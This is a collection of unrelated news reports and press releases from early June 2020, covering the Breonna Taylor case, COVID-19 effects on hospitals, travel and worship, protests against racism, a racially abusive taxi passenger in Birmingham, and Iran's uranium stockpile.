Breonna had committed no crime, posed no immediate threat to the safety of the defendants, and did not actively resist or attempt to evade arrest prior to being repeatedly shot and killed by the defendants, the lawsuit says.

The officers behind the raid, Jonathan Mattingly, Brett Hankison, and Myles Cosgrove, are currently on administrative leave pending the results of an investigation, which is being aided by the FBI.

 George Floyd protests: the understated peaceful side of the movement

Louisvilles mayor, Greg Fischer, last week announced the suspension of all no-knock warrants. But many people have grown frustrated over the slow pace of justice in the case.

In a statement to mark her birthday on Friday, Kentucky state representative and US senate candidate Charles Brooker called for major police reform.

Breonna Taylor should be alive to celebrate her birthday today, he said in the statement.

We are going to celebrate it for her, by demanding justice, accountability, and the complete overhaul of policing so that this never happens to anyone ever again.

Today, in protests across the country, protesters shout Ms Taylors name alongside George Floyds.

Let me tell yall something, said one black woman at a recent protest in Brooklyn, addressing a crowd of several hundred. Whenever we talk about black lives, let me just remind everyone. The black woman is the most hunted person on this earth.

If we want to bring change, it starts with us now.
GAITHERSBURG, Md., June 5, 2020 /PRNewswire/-- Planet Green Holdings Corp. (the "Company") (NYSE American: PLAG) announced today that on June 5, 2020, the Company has entered into a Share Exchange Agreement with Fast Approach Inc ("Target") and each shareholder of the Target (collectively "Sellers"). Pursuant to the Share Exchange Agreement, the Company will acquire all outstanding equity interests of Target. The Company closed the acquisition transaction on the same day. Fast Approach Inc. is a Canadian company that runs Demand Side Platform ("DSP") targeting Chinese market.

At the closing, the Company issued an aggregate of 1,800,000 shares of common stock of the Company to the original shareholders of Target in exchange for the transfer of all of the equity interests of the Target to the Company.

Forward Looking Statements

This news release contains "forward-looking statements" within the meaning of the "safe harbor" provisions of the U.S. Private Securities Litigation Reform Act of 1995. Forward-looking statements may be identified by the use of words such as "anticipate", "believe", "expect", "estimate", "plan", "outlook", and "project" and other similar expressions that indicate future events or trends or are not statements of historical matters. These statements are based on our management's current expectations and beliefs, as well as a number of assumptions concerning future events.

Such forward-looking statements are subject to known and unknown risks, uncertainties, assumptions and other important factors, many of which are outside of our control and all of which could cause actual results to differ materially from the results discussed in the forward-looking statements. Accordingly, forward-looking statements should not be relied upon as representing our views as of any subsequent date, and we do not undertake any obligation to update forward-looking statements to reflect events or circumstances after the date they were made, whether as a result of new information, future events or otherwise, except as may be required under applicable securities laws. Factors that could cause actual results to differ materially from those expressed or implied in forward-looking statements can be found in our reports filed with the Securities and Exchange Commission, which are available, free of charge, on the SEC's website at www.sec.gov.

For more information please contact: Mr. Daqi Cui Chief Operating Officer Phone: 202 891 8907 Email: [email protected]

SOURCE Planet Green Holdings Corp.

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CHICAGO, June 5, 2020 /PRNewswire/ -- California hospitals are facing a likely $16.7 billion net loss in revenues by April 2021 in the wake of the COVID-19 pandemic, a new data analysis prepared by Kaufman Hall shows.

California hospitals cancelled most elective and non-emergency services in March to prepare for a surge in COVID-19 patients, following the declaration of a State of Emergency by California Gov. Gavin Newsom. In April alone, hospitalizations declined 35% and emergency department visits plummeted 62%. In just March and April, California hospitals lost $6.3 billion.

"Since the outset of the pandemic, California hospitals have rightfully focused their efforts on caring for COVID-19 patients, protecting their workers, and preserving the safety of their communities," said Ken Kaufman, chair of Kaufman Hall. "Our research shows that these vital efforts have come at an extremely high cost. When coupled with an already challenging financial environment prior to COVID-19, California hospitals are now facing a very difficult path forward."

The economic impact of COVID-19 is also expected to result in higher numbers of uninsured patients and Medi-Cal beneficiaries, putting additional pressure on revenues. Federal assistance covers only a portion of hospital shortfalls. Even with the assistance factored in, California hospitals are facing $11.2 billion in lost revenue by the end of 2020, the analysis finds.

"California hospitals took necessary actions to care for patients during a public health emergency and comply with a state order," said Jody Hill-Mischel, managing director, Kaufman Hall. "But the impacts have been severe, especially considering that hospitals were already facing difficult economic headwinds."

Before the COVID-19 pandemic began, 40% of California hospitals had negative margins. All three major national ratings agencies recently changed their outlook for the non-profit hospital sector to negative, further challenging the ability of hospitals to access needed capital.

The pandemic is expected to present unprecedented challenges to the ability of hospitals to serve their communities and remain financially viable for years to come. The crisis could lead to permanent declines in hospital volumes, forcing providers to consider workforce reductions and other significant changes to their cost structures.

"The financial burdens on California hospitals have already been significant, and they are likely to grow for the foreseeable future," Hill-Mischel said. "Hospitals that already have been financially challenged may not be able to survive this crisis."

Kaufman Hall experts are available for comment; please contact Philip Anast at [email protected].

About Kaufman Hall

Kaufman Hall provides a unique combination of software, management consulting and data solutions to help society's foundational institutions realize sustained success amid changing market conditions. Since 1985, Kaufman Hall has been a trusted advisor to boards and executive management teams, helping them incorporate proven methods, rigorous analytics, and industry-leading solutions into their strategic planning and financial management processes, with a focus on achieving their most challenging goals.

Kaufman Hall services use a rigorous, disciplined, and structured approach that is based on the principles of corporate finance. The breadth and integration of Kaufman Hall advisory services are unparalleled, encompassing strategy; financial and capital planning; cost transformation; treasury and capital markets management; and mergers, acquisitions, partnerships, and joint ventures.

Kaufman Hall software includes the Axiom Software Suite, providing sophisticated, flexible performance management solutions that empower finance professionals to analyze results, model the future, and optimize organizational decision-making. Solutions for long-range planning, budgeting and forecasting, performance reporting, capital planning, and cost accounting deliver decision support, reporting, and analytics within an integrated software platform. Kaufman Hall's Clinical Analytics empower healthcare organizations with clinical benchmarks, data, and analytics to provide a higher quality of care for optimized performance and improved patient outcomes.

Press Contact:

Philip Anast

Amendola Communications (for Kaufman Hall)

Email: [email protected]

Phone: 312-576-6990

SOURCE Kaufman Hall

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About 1,300 civilians have been killed in conflicts across DR Congo while over half a million people have been displaced by violence in a matter of months, the UN said Friday.

UN rights chief Michelle Bachelet warned in a statement that some of the massacres and attacks behind the killings and displacement may amount to crimes against humanity and war crimes.

Her office warned that the number of victims had soared in recent weeks as separate conflicts in three eastern provinces, Ituri, North Kivu and South Kivu, had spread with disastrous repercussions for the civilian population.

Armed groups, it said, had committed massacres and atrocities, while government forces had also committed grave violations.

I am appalled by the increase in brutal attacks on innocent civilians by armed groups, and by the reaction of the military and security forces who have also committed grave violations, including killings and sexual violence, Bachelet said.

These are not only reprehensible and criminal acts, but they also break the trust between people and the state representatives, both security and political, she added.

The violence has forced hundreds of thousands of people to flee.

Military operations and retaliatory attacks against civilians by armed groups have displaced more than 400,000 civilians in North Kivu since last September, while over 110,000 people, mainly women and children, have fled violence in South Kivu since January, Marta Hurtado, a spokeswoman for the UN rights office, told AFP.

In South Kivu, the displacement has significantly picked up since March, she added.
Universally screening pediatric patients for COVID-19 before they undergo surgical procedures has allowed hospitals to improve safety by identifying all patients who test positive for the virus, half of whom have no symptoms, according to new research led by Children's Hospital of Philadelphia (CHOP). The study, which analyzed universal screening procedures at CHOP and two other major children's hospitals, found that screening patients for COVID-19 allowed hospitals to ensure patients and physicians were not exposed to the virus.

The findings were published today in JAMA Surgery.

"CHOP's commitment to screening every patient preoperatively has significantly improved patient safety," said lead author Apurva Shah, MD, MBA, an orthopaedic surgeon in CHOP's Division of Orthopaedics. "Our study shows that many pediatric patients who have COVID-19 are asymptomatic, even though the overall number of positive cases is small, so parents can feel reassured that their children and other children undergoing procedures have been screened for the virus."

The research team, which consisted of physicians from CHOP, Seattle Children's Hospital, and Texas Children's Hospital, gathered COVID-19 screening data on preoperative pediatric patients for one month, from late March to late April 2020. CHOP had begun screening all preoperative patients for COVID-19 on March 26, 2020, as part of its hospital-wide safety procedures. Each of the three hospitals used an in-house, lab-developed reverse transcriptase polymerase chain reaction (RT-PCR) assay to detect COVID-19 in patients with scheduled surgical procedures.

Of the 1,295 patients included in the study, the overall incidence of COVID-19 was 0.93%. However, the researchers found significant variation across hospitals, ranging from 0.22% to 2.65%. Even more striking, at CHOP, 55.56% of positive patients were from a single township, indicating that the incidence in children may vary depending on COVID-19 infection rates in the patients' communities.

Among those pediatric patients who tested positive for COVID-19, half had no symptoms. Of those who did have symptoms, the most common were fever and a runny nose. Nevertheless, the researchers noted symptoms were not useful in differentiating those who tested positive for COVID-19 and those who tested negative.

Given that the study covered a time period when all three hospitals had cancelled elective surgeries, the data reflect pediatric patients who required time-sensitive surgery and thus may not represent the incidence in children undergoing elective surgery. However, the authors say the findings show the value of universal screening in protecting both patients and physicians from COVID-19 exposure in all types of surgery at times when the SARS-CoV-2 virus is actively circulating in a community.

"If a patient tests positive for COVID-19, and the procedure doesn't need to happen immediately, providers can reschedule surgery for a time when the patient has recovered," Shah said. "But in some cases, surgery cannot wait, and in that situation, knowing a patient is positive for COVID-19 allows staff to protect themselves with appropriate personal protective equipment and prevent that patient from coming into contact with other patients and families."

As we start to relax social distancing measures, and children return to their 'new normal' with exposure to the community, universal testing for children undergoing surgery will be even more important. As an anesthesiologist that performs many procedures with the highest risk of respiratory virus transmission, I appreciate patients and families partnering with us to keep everyone safe." Elaina E. Lin, MD, first author, anesthesiologist in CHOP's Department of Anesthesiology and Critical Care Medicine
Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money.

Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists.
Thousands of people who gathered in downtown Vancouver on Friday wanted to spread one clear message  racism and police brutality aren't just American problems.

As the protest got underway at Jack Poole Plaza at 4 p.m. PT, members of the crowd took a knee to commemorate the death of George Floyd at the hands of police in Minnesota.

Those who spoke with CBC said that while high profile incidents of police violence against black Americans have catalyzed protests around the world, Canadians shouldn't ignore the racism that happens here at home.

Vancouver actor David Hardware said he is regularly followed by staff in stores and faces profiling by police.

"I deal with racial profiling every day. I think a lot of people think that Canada is not too bad, but in reality, it is, and hopefully we can use our voice and change that for our next generation," Hardware said.

Friday's event featured speakers from the community who will share proactive steps for tackling racism. Organizer Jacob Callender-Prasad, 21, hopes it starts conversations about what people can do in their daily lives to help address the issue.

Ben Nelms/CBC

Within the first hour of Friday's protest, the crowd had stretched beyond the edges of the plaza and reached two blocks south to West Hastings Street and one block west to Burrard. The crowd chanted the names of black people who have been killed by police, and listened to frequent reminders to maintain physical distances to prevent the spread of COVID-19.

Aisha McCarnan told CBC that she sees the violence displayed by many police in the U.S. is "drifting" into Canada.

"I came out here to support my people. A lot of us are dying," she said.

Standing beside her, Giselle Whittaker held a sign calling for justice for missing and murdered Indigenous women.

"It's important for us to be allies in the same struggle," she said.

"Police brutality takes place everywhere, every single place. We need to be those who speak up and use our rights for the better."

Story continues

Gian Paolo Mendoza/CBC

Most members of the crowd wore masks as a precaution against COVID-19. Speakers repeatedly urged those present to stay at least two metres apart, but in parts of the crowd those distances weren't carefully maintained.

Hand sanitizer, masks and gloves were handed out by volunteers, and anyone who is sick or has a compromised immune system was asked to stay home.

By the time the rally had dispersed early Friday evening, there had been no reports of violence.

Ben Nelms/CBC

'It was racial profiling'

Callender-Prasad knows racism is here in Canada. He's experienced it himself.

He says he's been the subject of racist remarks at school, in the community, and at work.

He's been detained twice by police, including an incident in 2016 in which he told the media police drew guns on him.

Both times, he recounted, police told him it was a case of mistaken identity.

Maggie MacPherson/CBC

"The real truth was it was racial profiling," Callender-Prasad said.

"We need to magnify this. We need to talk about this because racism in Canada does exist."

Callender-Prasad was one of the organizers of Sunday's protest against anti-black racism at the Vancouver Art Gallery, which saw thousands of people congregate peacefully.

It was one of the many rallies held worldwide after the death of George Floyd. Floyd was a black man who died as a white Minneapolis police officer drove a knee into his neck.

Ben Nelms/CBC

On Friday, Callender-Prasad is organizing a second rally: this time to shine a light on racism in Canada.

"You always hear  it's only in America but that is an act of ignorance in itself," he said.

"The time to address this situation is now and the time to handle it is now."

Safety considerations

Callender-Prasad said his top priority is safety. While most protests following Floyd's death have been peaceful, some have turned violent.

"I want to ... show the world that [in] Vancouver, we stand with you in solidarity but we don't need a riot here," Callender-Prasad said.

"If the whole country was rioting, I guarantee you the headlines will not be 'peaceful protests' and 'keep this discussion going.' It's going to be, 'How are we going to fix this riot?'

Police estimated 3,500 people attended Sunday's protest.
The temple of Lord Venkateswara in Andhra Pradeshs Tirumala will open for pilgrims from June 11 with stringent restrictions even as Odisha announced on Friday it will not allow religious sites till the end of June.

While the Jammu and Kashmir administration is expected take a call on the opening of the Vaishno Devi shrine on Saturday, Uttar Pradesh chief minister Yogi Adityanath said over five people will not be allowed inside a religious place at one point of time when they open on Monday.

The Union home ministry has allowed the opening of religious places from June 8, though states can take their own calls depending on the ground situation. For example, officials in Delhi and Mumbai have decided not to open places of worship for now. Jharkhand has taken a similar stand.

The Union ministry of health and family welfare has issued a set of standard operating procedures (SOPs), prohibiting choirs and singing groups, touching holy books and idols, and distributing prasad and sprinkling of holy water, among other safety steps.

A day after the central SOPs, officials announced the famed Tirumala temple in Andhra will be open between 6.30am and 7.30pm from Thursday. About 6,000 people will be allowed to visit every day, one-tenth of the footfall before the temple was closed on March 19.

No darshan will be allowed for elderly people above 65 years and children below 10 years. Similarly, people coming from containment zones are also barred from entering the temple, and their credentials will be verified at Alipiri (in the foothills of the Tirumala), Tirumala Tirupati Devasthanams (TTD) trust board chairman YV Subba Reddy said.

The temple management will release 3,000 entry tokens a day. Another 3,000 offline tickets will be issued at the counters in Alipiri. Online tickets for June will be released on June 8.

There will be frequent sanitisation of the temple premises, and devotees will have to undergo thermal screening. Wearing of face masks and maintaining six feet distance between two persons are mandatory.

Devotees will not be allowed to take bath in Srivari Pushkarini (the holy water body in the temple)..., Reddy said. He said just two persons will be allowed to stay in a room in TTDs guest houses. The stay cannot extend beyond a day.

An official in the Jammu and Kashmir administration said lieutenant governor GC Murmu will hold a meeting on Saturday to take a call on the resumption of pilgrimage to the Vaishno Devi shrine. Sanitisation drives are being conducted...However, final call on resumption of the yatra may take a day or two, said the official who did not want to be named.

In Kerala, chief minister Pinaryi Vijayan issued guidelines for opening of all religious places from June 9. In the famous Sabarimala temple and other religious places, entry will be allowed only after prior registration, and prasad will be distributed. Only online offering is allowed while community feasting is banned in and around religious places, according to the states guidelines.

The Bihar government announced that religious places such as Mahavir temple, Harmandir Sahib Gurudwara and other shrines in capital Patna will reopen on June 8. The Mahavir temple will open from 6am-9pm, and devotees will be allowed entry on the basis of their name in an alphabetical order.

Mahendrapal Singh Dhillon, the Harmandir Sahib Gurudwara Prabandhak Committee chairman, said: Strict adherence to the social distancing norms will be maintained at the Gurudwara entrance and also on its premises.

In Punjabs Golden temple, authorities instructed the cleaning and sanitization of the premises. Devotees will be allowed only from a few gates and volunteers will ensure proper social distancing at the time of langar and darshan.

All religious places in Odisha will be closed till June 30, according to the latest guidelines by the government. However, Snana Purnima, an important ritual preceding the Rath Yatra of Lord Jagannath slated for June 23, was held on Friday without devotees. Eight hundred priests took part in the ritual, which was televised.

(with inputs from states)
European interior ministers agreed on Friday that travel restrictions imposed to curb the COVID-19 pandemic should be abolished in a coordinated and non-discriminatory manner, Trend reports citing Xinhua.

During a video conference that was held within the framework of Croatia's Presidency of the Council of the European Union (EU), the ministers noted that the coronavirus outbreak has threatened some of the foundations of the EU, such as the European Single Market and freedom of movement.

EU member states have gradually eased or abolished restrictive measures that were imposed on national or regional levels. In the last few weeks, some countries have opened their borders for other nationals, but there has not been a comprehensive agreement on the EU level.

The ministers discussed the expected time frames within which border checks will be abolished once the health situation in a particular member state makes it possible, but did not mention any timetable. They also discussed the procedure for returning to the full functioning of the Schengen area.

"Full functioning of the Schengen area and free movement of persons is of key importance for economic recovery and the European Union in general," Croatian Interior Ministry Davor Bozinovic said in a press release.

EU member states have also expressed their views on possible lifting of restrictions that have been in place for third-country nationals, and on the criteria and measures on the basis of which the restrictions would be lifted.
Despite being quarantined, my wife and I sometimes feel as if we are living in a getaway vacation home perched on a wooded hillside in a town out in the country. How different this must be than the feelings of people whose residential real estate environment is less aesthetically pleasant and more functionally inhospitable.
The Office of the Ashanti Regional Chief Imam, has called for total discipline amongst the Muslim Community regarding the observance of the COVID-19 preventive protocols.



It is the responsibility of the Ulama (scholars/leaders) to see to the enforcement of the protocols for the safety and protection of the people, Sheikh Abdul Mummin Haroun, the Regional Chief Imam, advised.



Muslims across the country, for the first time in many weeks, would have the opportunity to congregate at their respective mosques on Friday, June 05, after the government lifted the ban on the social gathering.



The ban was necessitated by the outbreak of the COVID-19 pandemic, which saw Ghana recording its first two confirmed cases on March 12, this year, and had since surpassed a case count of 8, 500 with 38 deaths.



Sheikh Haroun, in an interaction with the media, Kumasi, said obedience and submissiveness were cardinal tenets of Islam.



Therefore, the Muslim is expected not to do otherwise per the laid-down protocols, the Chief Imam cautioned.



The President, Nana Addo Dankwa Akufo-Addo, in announcing the lifting of the ban on religious gatherings in his recent address to the nation, said 25 per cent attendance with a maximum number of one hundred (100) congregants, could worship at a time in church or the mosque.



This is to be done with a mandatory one-metre rule of social distancing between congregants, with a maximum duration of one hour for each service.



In addition to the mandatory wearing of nose masks, all persons at all times in churches and mosques must also register their names and contact details, while hand-washing facilities and sanitizers are to be provided for their use.



Sheikh Haroun said his Office was working with the relevant authorities to ensure that the requisite logistics needed to guarantee safe opening and operation of the mosques were available.



The Muslim Community, he said, was grateful to the President for listening to the pleas of religious leaders, assuring that they would work assiduously to protect their members.

Source: GNA









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China to cautiously ease international flight restrictions but not due to US bullying tactics

Global Times

By GT staff reporters Source:Global Times Published: 2020/6/4 21:33:41

Adjustments not response to US bullying; bilateral negotiations to continue: analyst

China on Thursday took a cautious yet significant step to loosen restrictions on international flights put in place to stem the spread of the novel coronavirus. This move aims to pave the way for more global carriers to resume services to dozens of Chinese cities to meet rising demand for global travel while maintain necessary anti-epidemic measures to prevent a much-feared influx of imported cases.

The move will potentially allow all qualified international airlines to resume operations to over 30 Chinese cities, marking the most significant opening measure in over two months, though the airlines will have to meet specific, strict viral prevention procedures and requirements under a circuit-breaker and reward mechanism that, industry analysts say, leaves sufficient flexibility to balance between boosting travel and preventing a viral resurgence.

Though the new rules came one day after a US plan to ban all flights from China, the Chinese regulations weren't drafted overnight and not rushed in response to US bullying tactics, analysts said. Potential tension over the issue will likely persist between the two countries as the US resorted to its bullying tactics while China often sticks to its own plan, as is the case in the entire dynamic, analysts added.

Innovative opening

Under the rules released by the Civil Aviation Administration of China (CAAC) on Thursday morning, all international carriers that were not previously allowed to resume operations can choose one out of 37 designated Chinese cities to resume one flight each week starting on Monday. That means, in theory, US airlines, including United and Delta, can now also apply for flight resumption.

In a separate statement released on Thursday afternoon, the CAAC also said that China could increase flights to and from "qualified" countries that meet criteria such as the country in question has "exported" relatively less COVID-19 cases and has close economic ties with China; there is real demand for Chinese nationals to return home; the country has "far-ending" viral prevention capabilities that can reduce risks and that the country has established "green channels" with China.

Some analysts noted that the statement left more room for easing flight restrictions for countries such as Japan, South Korea, Singapore and the US, which all meet most of the requirements, although the COVID-19 epidemic still remains dire in the US and Japan. South Korea and Singapore have already established "green channels" with China.

The CAAC said that the move could include 95 foreign airlines that have not suspended flights to China. Starting on Monday, as much as 64 new international flights could be added, bringing total international arrivals to about 33,000 a week, according to the CAAC statement.

The adjustments are the most significant move since China adopted what's known as a "Five One" policy on international flights in mid-March, under which each airline is permitted to only serve one country, from one Chinese city to a foreign one, with no more than one flight a week. The strict measures were put in place to stop the influx of imported COVID-19 cases, at a time when the virus continued to spread around the world.

"[The new regulations] were a very positive signal that China is gradually and safely resuming international flights based on its domestic needs, as the global pandemic is abating and internal prevention and control measures are improved," Zheng Hongfeng, CEO of industry information provider VariFlight, told the Global Times on Thursday.

As the economic recovery both inside China and across the world is picking up pace, the demand for international flights in and out of China is also skyrocketing. The US government's move to ban flights in order to pressure China to allow more flights by US airlines, despite its twisted logic, is also a direct reflection of that surging demand, analysts noted.

Apart from business travel, there are also many Chinese citizens overseas who are fighting for limited and expensive air tickets to return home. In the Thursday afternoon statement, the CAAC made it clear that the move was also aimed at meeting the "urgent need" of Chinese students and others to return.

More than just meeting the rising demand, the new rules also offer a specific and feasible action plan for resuming international travel, Qi Qi, an independent market analyst, told the Global Times on Thursday.

One of the highlights of the new rules is what the CAAC called a circuit-breaker and reward mechanism that could determine the fate of the future operations of each airline based on the number of potential COVID-19 cases. For instance, if all passengers on one airline test negative for three weeks straight, the airline will be permitted to add one more flight; if five passengers on a flight test positive, the responsible airline would have to halt operations for a week; if 10 tested positive, then four weeks. All passengers would have to undergo a nucleic acid test upon arrival.

The new mechanism has been hailed as an innovative and targeted step that fits into a delicate balance between the normalization of anti-epidemic efforts and economic recovery.

"The new policies focus on international flights that do not endanger [China's] borders," Qi said.

The mechanism could be challenging for some airlines, particularly those operating in relatively high-risk areas. A source with one of the international airlines told the Global Times that preventing cases is a task for all parties involved rather than the airline itself.

There have been some reports of COVID-19 cases on several international flights. On May 30, 11 passengers on an Egypt Air flight from Cairo to Chengdu, capital of Southwest China's Sichuan Province, tested positive for COVID-19. There have also been reports about some flights from Russia carrying five or more COVID-19 cases.

Not for US bullying

Just like in most other cases, China's new rules on international flights have also been seen largely in the prism of tensions between Beijing and Washington, especially as the CAAC announcement came just hours after the US announced Wednesday night a ban on all passenger flights to the US conducted by Chinese carriers, as punishment for Chinese officials' decision not to allow US carriers to resume operations.

Chinese sources and analysts said on Thursday that the new regulations were likely based on thorough studies of the domestic situation and unlikely a response to what they call bullying tactics from the US, let alone a compromise, as some foreign media outlets have painted.

"The CAAC's policy adjustments neither came overnight nor were a rushed decision. It is a response to rebound demand in global civil aviation market and based on considerations for all after constant engagement with all parties," Wang Ya'nan, chief editor of Aerospace Knowledge magazine, told the Global Times on Thursday

In announcing the flight ban, the US Department of Transportation asserted that China did not permit US carriers to exercise their "bilateral rights" to conduct air services to and from China. It said the ban on all Chinese flights was to take effect on June 16.

The move fits into the US administration's approach to all issues - always imposing sanctions first, which not only are counterproductive to addressing the issue but also will hurt itself, analysts noted.

"Washington has shut the door for negotiations of air routes between China and the US. And Trump did not give US companies that need air services with China any benefit," an industry insider surnamed Li told the Global Times, noting that the US has so far the worst epidemic situation in the world with the most cases and deaths.

A source close to the matter told the Global Times that China's Thursday move was to kick the ball right back into the US' court, and negotiations over flights will not be limited to transportation officials on both sides but will touch upon a wide range of areas from diplomacy to healthcare and immigration.

"There is still room for changes about whether US airlines can resume flights," said the source, who spoke on the condition of anonymity.

United Airlines said in May that it was hoping to resume daily flights to Beijing, Chengdu and Shanghai, while Delta was looking at resuming flights to Shanghai. The two US airlines, along with American Airlines, suspended all passenger air services to and from China in early February, following a US government order to ban entry for all foreign nationals who had been to China starting in February. The US was the first country in the world to issue such travel bans amid the epidemic in China.

Chinese airlines maintained operations even when they faced heavy losses initially. The Chinese government also paid domestic airlines subsidies up to 0.0528 yuan per seat per kilometer to support airlines to maintain operations. Between January 31 and May 21, Chinese airlines accounted for 93.3 percent of flight operations between China and the US, according to Variflight.

Wang said that the dispute over flight resumption between the two countries is also mainly because of the US airlines' decision to unilaterally suspend all flights to China in February.

"If the US wants to resume flights, it should consult with China. Unilaterally imposing flight bans without consultation is rather arbitrary and such bullying will not lead to a good result," he said.

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A man has been arrested on suspicion of a racially aggravated public order offence after a viral video was published showing a taxi driver being subjected to a foul-mouthed tirade.

In a minute-long video posted on social media, driver Abid Mustafa coolly handles a white male passenger who rants 'this is England', and 'we'll blow you out the f****** water'.

The 39-year-old cabbie even warned the man at one stage: 'I will put this on Facebook now buddy, and more people will see you and what you're saying.'

But the man, who could be heard apparently slurring his words during footage filmed in Birmingham, responded: 'I don't give a flying f*** mate.

'Do you really think I give a flying f***?'

Abid Mustafa, pictured in his taxi, was subjected to a tirade of racial abuse by a white passenger

West Midlands Police said that a 53-year-old man was arrested in the Erdington area on Thursday afternoon on suspicion of a racially aggravated public order offence.

The victim is being spoken to by officers and the investigation continues, the force added.

Father-of-four Mr Mustafa, who is being made the first honorary ambassador of the West Midlands Taxi Drivers' Association (WMTDA) for the way he handled the incident, said he had been 'hurt' by what happened.

In the last few weeks Mr Mustafa has shuttled vital Covid-19 samples for the University Hospitals Birmingham NHS Foundation Trust during the pandemic, before being subject to the passenger's abuse.

The passenger hurls racist abuse at the taxi driver, who remains calm and doesn't react as he counts the man's change

Mr Mustafa said the passenger started his tirade as soon as he was picked up in Birmingham and that he stopped to warn his fare.

'He promised to stop doing it, then as soon as we got going again, after about 50 metres he started up again,' said the taxi driver, who began recording at the end of the journey.

He said: 'I have a heart and emotions and it does hurt.

'The words do hurt us.

'But I chose the profession and I have to face these challenges - if I chose to be in the Army I would face battles, and this is the same.'

Mr Mustafa, who lives in Erdington and is licensed by Wolverhampton City Council, hopes footage of the incident, which happened on May 15, will prompt councils to fit CCTV in taxis, to protect drivers and passengers, and show the public what drivers have to put up with.

'On all other public transport, like trams, buses and trains, there are cameras, so why can't we have CCTV in cabs?' he said.

'At least 80-90% of this type of abuse would stop then.'

Having spoken to colleagues, Mr Mustafa believes every BAME driver in the West Midlands has been subject to racist abuse from a passenger at one point or another.

Echoing that view, Shaz Saleem, of the WMTDA, said it was poor reward for taxi driver key workers, who have done a vital job ferrying supplies, medical samples and other emergency workers during the pandemic.

He said: 'I understand the row started because Abid asked the gentleman to sit in the rear seats, because of Covid-19 controls - which are there to keep both the passenger and driver safe.'

Exasperated, the taxi driver told the man that he is being filmed and the video will be uploaded to Facebook, but that only further encouraged him

Mr Saleem added: 'This story is powerful.

'Yes, there is a negative, and we all know what happened in the United States with George Floyd, and we need more support here from councils and the police.

'This driver responded with patience, calm and professionalism should be held up, in comparison to the passenger's behaviour.

'I guarantee you that if the driver had responded to that behaviour in any way, he'd have lost his licence.'

As the video, which has been viewed more than a million times on Twitter, starts, the man is sitting in the front passenger seat, next to Mr Mustafa, with the taxi stationary.

The passenger then said: 'Who do you think you are?

'You think you're something special - Pakistan?'

The passenger then apparently refers to an incident from last year in which Indian warplanes conducted airstrikes on their neighbour.

The man said: 'I'll tell you what, no wonder the Indians are bombing you,' ending the sentence with a laugh.

'You're never going to win that battle are you?'

The taxi driver, who stays cool and polite throughout the abuse, responded: 'That's fine,' handing the man his change from the fare.

Having spoken to colleagues, Mr Mustafa believes every BAME driver in the West Midlands has been subject to racist abuse from a passenger at one point or another

His passenger then said: 'And this is England, by the way.

'And you're in a f****** job - in England. So respect this country, that you're in.'

The driver replied: 'Thank you very much sir.'

Pointing to a camera facing both men, the cabbie then said: 'I will put this on Facebook, now buddy, and more people will see you and what you're saying.

'Because people can see your face as well.'

Despite the warning, the passenger said 'I don't give a flying f***.'

The driver then told the man that he will be charged a 25p-a-minute waiting time charge, if the man does not go, adding 'thank you mate, we're all done here'.

The passenger then leaned across towards the driver, inches from his face, and said: 'I'll tell you what, do you think Pakistan are going to beat the English?'

The driver responded: 'We're not here for a competition, sir.'

But the passenger said: 'Well I'll tell you what about wars, wars?

'We'll blow you out the f****** water.'

As the man gets out of the taxi, he can he heard adding: 'F*** off. F****** Muslim c***.'
Bald men could have a higher risk of developing severe Covid-19 symptoms, new research has claimed.

Carlos Wambier, a researcher at Brown University, told the Daily Telegraph he thinks baldness is a perfect predictor of severity of coronavirus.

However, other medical professionals have urged caution and said much more evidence is needed to support his claim.

According to the Telegraph, Prof Wambier conducted two studies in Spain, from which he concluded that a disproportionate number of bald men were taken to hospital with the virus.

Of the 41 patients he examined in his first study, 71 per cent of them had male pattern baldness, a higher percentage than the background rate for baldness in men of a similar age.

In a further study, which was published in the Journal of the American Academy of Dermatology, Professor Wambier found almost 80 per cent of 122 male Covid-19 patients in Madrid were bald.

"We think androgens or male hormones are definitely the gateway for the virus to enter our cells, he said.

This research comes after evidence suggests that men are more likely to die from Covid-19 than women. Scientists believe that androgens, male sex hormones that can cause hair loss, could also increase the ability of the virus to attack cells.

Some researchers have therefore started to investigate whether treatments which suppress these hormones could help patients with Covid-19. Some of these therapies are used to treat diseases like prostate cancer.

But Karen Stalbow, head of policy at Prostate Cancer UK, urged caution over findings like Prof Wambiers.

Ms Stalbow said: There are now several clinical studies starting which hope to address these issues, but much more evidence is needed before we can know whether these hormone therapies would be an effective treatment for Covid-19.
A Belfast man who threatened to beat his mother around her bedroom has been jailed for three months.

Aiden Muir defied a prohibition by turning up at her home in the west of the city within hours of being released from previous custody.

The 24-year-old, of no fixed abode, admitted common assault and twice breaching a non-molestation order.

Belfast Magistrates' Court heard he arrived at his mother's house on April 27, but was told he was not allowed to be there and asked to leave.

Muir returned early the following morning, shouting to be let in because he had nowhere else to stay.

His mother opened the door in an attempt to calm him down and then went back to bed.

A prosecution lawyer said he followed her upstairs and then threatened: "I will beat you around this f****** room."

Muir was arrested at the scene, telling police he was unaware the ban on going to his mother's home was still in place.

Defence counsel Michael Boyd said his client had become isolated from other family members due to drug problems.

"His mum was his only port of call, he had nowhere else to go," the barrister stressed.

"There was no actual violence, although he didn't cover himself in glory by his behaviour."

Acknowledging Muir's guilty pleas, District Judge George Conner ordered him to serve three months behind bars.
Iran continued its elevated rate of nuclear-fuel production last quarter, even as the coronavirus pandemic forced it to shut down swaths of the economy and international inspectors sought answers about previous nuclear activities.

The country's store of low-enriched uranium increased to 1,571.6 kilograms (3,465 pounds) over the quarter ending May 20, according to an International Atomic Energy Agency report seen by Bloomberg. That's more than a 50% jump over the amount stockpiled three months ago, and enough of the heavy metal to create two bombs if Iran chose to enrich the material to weapons grade.

"The agency notes with serious concern that" Iran continues to deny access to two sites inspectors want to visit, where nuclear material may have been present in the early 2000s, read a restricted report circulated to diplomats in Vienna. "This is adversely affecting the agency's ability to clarify and resolve the questions."

The IAEA report follows last week's U.S. decision to revoke waivers that permitted some companies to work on nuclear projects in Iran. The beleaguered 2015 agreement struck between Iran and world powers authorized firms to convert facilities so that they can't be used to produce nuclear material for weapons.

The Trump administration delivered the accord a near-fatal blow by withdrawing and reimposing sanctions, including on Iran's critical oil exports, escalating tensions between the foes. Iran responded by scrapping some of its obligations under the deal, including caps on its low-enriched uranium stockpile. European nations, China and Russia have stood by the agreement but the U.S. penalties mean it isn't delivering Tehran the promised economic gains.

